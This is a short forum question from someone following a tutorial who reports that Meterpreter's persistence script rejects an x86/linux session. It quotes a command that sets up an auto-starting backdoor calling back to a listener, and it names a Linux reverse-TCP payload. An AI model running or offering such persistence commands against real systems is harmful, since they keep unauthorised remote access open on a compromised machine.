Meterpreter Persistence Issue

I am playing around with this tutorial and if I try this command run persistence -A -L /var/ -X 30 -p 4444 -r 10.601.37 it tells me x86/linux version of Meterpreter is not supported with this Script! and if I define -P with linux/meterpreter/reversetcp it still says the same thing. Am I doing something wrong?
